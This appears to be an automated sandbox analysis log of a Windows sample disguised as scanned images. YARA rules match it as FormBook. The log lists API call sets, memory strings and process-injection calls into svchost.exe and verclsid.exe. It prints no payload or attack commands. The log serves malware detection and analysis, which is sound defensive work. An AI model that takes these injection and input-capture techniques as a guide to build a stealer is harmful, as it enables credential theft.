Source: verclsid.exe, 00000003.00000003.2016552884.000000000805D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srfhttps://login.l
Source: verclsid.exe, 00000003.00000003.2022626569.000000000807D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: verclsid.exe, 00000003.00000003.2022626569.000000000807D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe

Code function: 0_2_004CEAFF OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

0_2_004CEAFF

Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe

Code function: 0_2_004CED6A OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

0_2_004CED6A

Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe

0_2_004CEAFF

Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe

Code function: 0_2_004BAA57 GetKeyboardState,SetKeyboardState,PostMessageW,SendInput,

0_2_004BAA57

Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe

Code function: 0_2_004E9576 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

0_2_004E9576

E-Banking Fraud

Yara detected FormBook

Source: Yara match	File source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.3548246487.0000000003320000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3548136805.00000000032D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3551901085.0000000005770000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3547874217.0000000003020000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1829643197.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1835373056.00000000091A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1830333241.0000000005AE0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.3549362625.0000000004810000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

System Summary

Binary is likely a compiled AutoIt script file

Source: Scanned-IMGS_from NomanGroup IDT.scr.exe	String found in binary or memory: This is a third-party compiled AutoIt script.
Source: Scanned-IMGS_from NomanGroup IDT.scr.exe, 00000000.00000000.1691214055.0000000000512000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_d220c422-a
Source: Scanned-IMGS_from NomanGroup IDT.scr.exe, 00000000.00000000.1691214055.0000000000512000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_b0088d1d-f
Source: Scanned-IMGS_from NomanGroup IDT.scr.exe	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_26156bcc-0
Source: Scanned-IMGS_from NomanGroup IDT.scr.exe	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_cadccd65-7

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0042C613 NtClose,	1_2_0042C613
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0040A903 NtAllocateVirtualMemory,	1_2_0040A903
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03972B60 NtClose,LdrInitializeThunk,	1_2_03972B60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03972DF0 NtQuerySystemInformation,LdrInitializeThunk,	1_2_03972DF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03972C70 NtFreeVirtualMemory,LdrInitializeThunk,	1_2_03972C70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039735C0 NtCreateMutant,LdrInitializeThunk,	1_2_039735C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03974340 NtSetContextThread,	1_2_03974340
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03974650 NtSuspendThread,	1_2_03974650
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03972B80 NtQueryInformationFile,	1_2_03972B80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03972BA0 NtEnumerateValueKey,	1_2_03972BA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03972BF0 NtAllocateVirtualMemory,	1_2_03972BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03972BE0 NtQueryValueKey,	1_2_03972BE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03972AB0 NtWaitForSingleObject,	1_2_03972AB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03972AD0 NtReadFile,	1_2_03972AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03972AF0 NtWriteFile,	1_2_03972AF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03972F90 NtProtectVirtualMemory,	1_2_03972F90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03972FB0 NtResumeThread,	1_2_03972FB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03972FA0 NtQuerySection,	1_2_03972FA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03972FE0 NtCreateFile,	1_2_03972FE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03972F30 NtCreateSection,	1_2_03972F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03972F60 NtCreateProcessEx,	1_2_03972F60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03972E80 NtReadVirtualMemory,	1_2_03972E80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03972EA0 NtAdjustPrivilegesToken,	1_2_03972EA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03972EE0 NtQueueApcThread,	1_2_03972EE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03972E30 NtWriteVirtualMemory,	1_2_03972E30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03972DB0 NtEnumerateKey,	1_2_03972DB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03972DD0 NtDelayExecution,	1_2_03972DD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03972D10 NtMapViewOfSection,	1_2_03972D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03972D00 NtSetInformationFile,	1_2_03972D00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03972D30 NtUnmapViewOfSection,	1_2_03972D30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03972CA0 NtQueryInformationToken,	1_2_03972CA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03972CC0 NtQueryVirtualMemory,	1_2_03972CC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03972CF0 NtOpenProcess,	1_2_03972CF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03972C00 NtQueryInformationProcess,	1_2_03972C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03972C60 NtCreateKey,	1_2_03972C60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03973090 NtSetValueKey,	1_2_03973090
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03973010 NtOpenDirectoryObject,	1_2_03973010
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039739B0 NtGetContextThread,	1_2_039739B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03973D10 NtOpenProcessToken,	1_2_03973D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03973D70 NtOpenThread,	1_2_03973D70
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_050D4650 NtSuspendThread,LdrInitializeThunk,	3_2_050D4650
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_050D4340 NtSetContextThread,LdrInitializeThunk,	3_2_050D4340
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_050D2D10 NtMapViewOfSection,LdrInitializeThunk,	3_2_050D2D10
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_050D2D30 NtUnmapViewOfSection,LdrInitializeThunk,	3_2_050D2D30
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_050D2DD0 NtDelayExecution,LdrInitializeThunk,	3_2_050D2DD0
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_050D2DF0 NtQuerySystemInformation,LdrInitializeThunk,	3_2_050D2DF0
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_050D2C60 NtCreateKey,LdrInitializeThunk,	3_2_050D2C60
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_050D2C70 NtFreeVirtualMemory,LdrInitializeThunk,	3_2_050D2C70
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_050D2CA0 NtQueryInformationToken,LdrInitializeThunk,	3_2_050D2CA0
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_050D2F30 NtCreateSection,LdrInitializeThunk,	3_2_050D2F30
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_050D2FB0 NtResumeThread,LdrInitializeThunk,	3_2_050D2FB0
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_050D2FE0 NtCreateFile,LdrInitializeThunk,	3_2_050D2FE0
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_050D2E80 NtReadVirtualMemory,LdrInitializeThunk,	3_2_050D2E80
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_050D2EE0 NtQueueApcThread,LdrInitializeThunk,	3_2_050D2EE0
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_050D2B60 NtClose,LdrInitializeThunk,	3_2_050D2B60
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_050D2BA0 NtEnumerateValueKey,LdrInitializeThunk,	3_2_050D2BA0
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_050D2BE0 NtQueryValueKey,LdrInitializeThunk,	3_2_050D2BE0
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_050D2BF0 NtAllocateVirtualMemory,LdrInitializeThunk,	3_2_050D2BF0
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_050D2AD0 NtReadFile,LdrInitializeThunk,	3_2_050D2AD0
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_050D2AF0 NtWriteFile,LdrInitializeThunk,	3_2_050D2AF0
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_050D35C0 NtCreateMutant,LdrInitializeThunk,	3_2_050D35C0
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_050D39B0 NtGetContextThread,LdrInitializeThunk,	3_2_050D39B0
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_050D2D00 NtSetInformationFile,	3_2_050D2D00
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_050D2DB0 NtEnumerateKey,	3_2_050D2DB0
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_050D2C00 NtQueryInformationProcess,	3_2_050D2C00
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_050D2CC0 NtQueryVirtualMemory,	3_2_050D2CC0
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_050D2CF0 NtOpenProcess,	3_2_050D2CF0
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_050D2F60 NtCreateProcessEx,	3_2_050D2F60
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_050D2F90 NtProtectVirtualMemory,	3_2_050D2F90
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_050D2FA0 NtQuerySection,	3_2_050D2FA0
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_050D2E30 NtWriteVirtualMemory,	3_2_050D2E30
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_050D2EA0 NtAdjustPrivilegesToken,	3_2_050D2EA0
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_050D2B80 NtQueryInformationFile,	3_2_050D2B80
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_050D2AB0 NtWaitForSingleObject,	3_2_050D2AB0
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_050D3010 NtOpenDirectoryObject,	3_2_050D3010
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_050D3090 NtSetValueKey,	3_2_050D3090
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_050D3D10 NtOpenProcessToken,	3_2_050D3D10
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_050D3D70 NtOpenThread,	3_2_050D3D70
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_030493D0 NtDeleteFile,	3_2_030493D0
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_030492E0 NtReadFile,	3_2_030492E0
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_03049170 NtCreateFile,	3_2_03049170
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_030495D0 NtAllocateVirtualMemory,	3_2_030495D0
Source: C:\Windows\SysWOW64\verclsid.exe	Code function: 3_2_03049470 NtClose,	3_2_03049470

Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe

Code function: 0_2_004BD5EB: CreateFileW,DeviceIoControl,CloseHandle,

0_2_004BD5EB

Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe

Code function: 0_2_004B1201 LogonUserW,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,GetProcessHeap,HeapFree,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

0_2_004B1201

Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe

Code function: 0_2_004BE8F6 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,

0_2_004BE8F6

Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	Code function: 0_2_004C2046	0_2_004C2046
Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	Code function: 0_2_00458060	0_2_00458060
Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	Code function: 0_2_004B8298	0_2_004B8298
Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	Code function: 0_2_0048E4FF	0_2_0048E4FF
Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	Code function: 0_2_0048676B	0_2_0048676B
Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	Code function: 0_2_004E4873	0_2_004E4873
Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	Code function: 0_2_0045CAF0	0_2_0045CAF0
Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	Code function: 0_2_0047CAA0	0_2_0047CAA0
Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	Code function: 0_2_0046CC39	0_2_0046CC39
Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	Code function: 0_2_00486DD9	0_2_00486DD9
Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	Code function: 0_2_0046B119	0_2_0046B119
Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	Code function: 0_2_004591C0	0_2_004591C0
Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	Code function: 0_2_00471394	0_2_00471394
Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	Code function: 0_2_00471706	0_2_00471706
Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	Code function: 0_2_0047781B	0_2_0047781B
Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	Code function: 0_2_0046997D	0_2_0046997D
Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	Code function: 0_2_00457920	0_2_00457920
Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	Code function: 0_2_004719B0	0_2_004719B0
Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	Code function: 0_2_00477A4A	0_2_00477A4A
Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	Code function: 0_2_00471C77	0_2_00471C77
Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	Code function: 0_2_00477CA7	0_2_00477CA7
Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	Code function: 0_2_004DBE44	0_2_004DBE44
Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	Code function: 0_2_00489EEE	0_2_00489EEE
Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	Code function: 0_2_0045BF40	0_2_0045BF40
Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	Code function: 0_2_00471F32	0_2_00471F32
Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	Code function: 0_2_01573B50	0_2_01573B50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004185B3	1_2_004185B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00410093	1_2_00410093
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0040E10B	1_2_0040E10B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0040E113	1_2_0040E113
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00402250	1_2_00402250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00401210	1_2_00401210
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004023F0	1_2_004023F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0042EC23	1_2_0042EC23
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0040FE6A	1_2_0040FE6A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00402670	1_2_00402670
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0040FE73	1_2_0040FE73
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00402F20	1_2_00402F20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004167DE	1_2_004167DE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004167E3	1_2_004167E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A003E6	1_2_03A003E6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0394E3F0	1_2_0394E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039FA352	1_2_039FA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039C02C0	1_2_039C02C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039E0274	1_2_039E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A001AA	1_2_03A001AA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039F41A2	1_2_039F41A2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039F81CC	1_2_039F81CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039DA118	1_2_039DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03930100	1_2_03930100
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039C8158	1_2_039C8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039D2000	1_2_039D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0393C7C0	1_2_0393C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03964750	1_2_03964750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03940770	1_2_03940770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0395C6E0	1_2_0395C6E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A00591	1_2_03A00591
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03940535	1_2_03940535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039EE4F6	1_2_039EE4F6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039E4420	1_2_039E4420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039F2446	1_2_039F2446
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039F6BD7	1_2_039F6BD7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039FAB40	1_2_039FAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0393EA80	1_2_0393EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A0A9A6	1_2_03A0A9A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039429A0	1_2_039429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03956962	1_2_03956962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039268B8	1_2_039268B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396E8F0	1_2_0396E8F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0394A840	1_2_0394A840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03942840	1_2_03942840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039BEFA0	1_2_039BEFA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03932FC8	1_2_03932FC8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03960F30	1_2_03960F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039E2F30	1_2_039E2F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03982F28	1_2_03982F28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B4F40	1_2_039B4F40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03952E90	1_2_03952E90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039FCE93	1_2_039FCE93
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039FEEDB	1_2_039FEEDB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0393AE0D	1_2_0393AE0D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039FEE26	1_2_039FEE26
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03940E59	1_2_03940E59
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03958DBF	1_2_03958DBF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039DCD1F	1_2_039DCD1F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0394AD00	1_2_0394AD00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039E0CB5	1_2_039E0CB5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03930CF2	1_2_03930CF2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03940C00	1_2_03940C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0398739A	1_2_0398739A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039F132D	1_2_039F132D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0392D34C	1_2_0392D34C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039452A0	1_2_039452A0
